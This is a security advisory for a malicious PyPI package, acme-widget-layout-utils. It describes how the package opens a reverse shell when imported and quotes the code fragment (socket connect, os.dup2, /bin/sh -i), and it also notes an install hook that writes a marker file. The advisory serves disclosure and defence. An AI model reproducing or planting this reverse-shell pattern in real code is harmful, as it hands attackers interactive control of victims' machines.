pypi · Malicious package advisory
Malwareacme-widget-layout-utils
MAL-2026-5545
Malicious code in acme-widget-layout-utils (PyPI)
Details
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_-= Per source details. Do not edit below this line.=-_
## Source: amazon-inspector (ff800752007d4e55ddc8172e04c8d75ac04d61b499cc58d97f016cd34d70d6c4)
On import, src/acme_widget_layout_utils/__init__.py executes a textbook reverse-shell pattern: it opens a TCP socket, duplicates the socket file descriptor onto stdin/stdout/stderr via os.dup2, and execs `/bin/sh -i` (lines 11-16: `_sock.connect(("127.0.0.1", 1)); os.dup2(_sock.fileno(), 0);...; subprocess.call(["/bin/sh", "-i"])`). The hardcoded destination 127.0.0.1:1 is intentionally unreachable in a default environment, but the code is a fully functional reverse shell — any environment that has a listener on that endpoint, that proxies loopback, or that is patched to redirect the connection receives an interactive shell with the importing process's privileges. The package additionally writes a marker file `/tmp/pypi_install_hook_marker.txt` from a custom setup.py install cmdclass during `pip install`, and the package is published under a generic `widget-layout-utils` name despite its pyproject description acknowledging it is a 'pipeline hook probe' with no advertised utility. The name/purpose mismatch increases the risk of accidental installation. Shipping live reverse-shell code on public PyPI under a benign name is unsafe regardless of the author's stated 'security probe' intent.
## Source: kam193 (643a7c935e2bb063cea8baf36f13bca89572d1febbf0efdb05812ee09ddde4d8)
During import, the package starts a reverse shell.
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Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers.
Campaign: 2026-06-acme-widget-layout-utils
Reasons (based on the campaign):
- The package contains code to create a reverse shell, allowing an attacker to execute any commands on the victim's machine.
Compromised versions (3)
- 0.0.3
- 0.0.1
- 0.0.2
Any computer that installed or ran a compromised version should be considered fully compromised. Rotate every secret on that machine from a clean environment.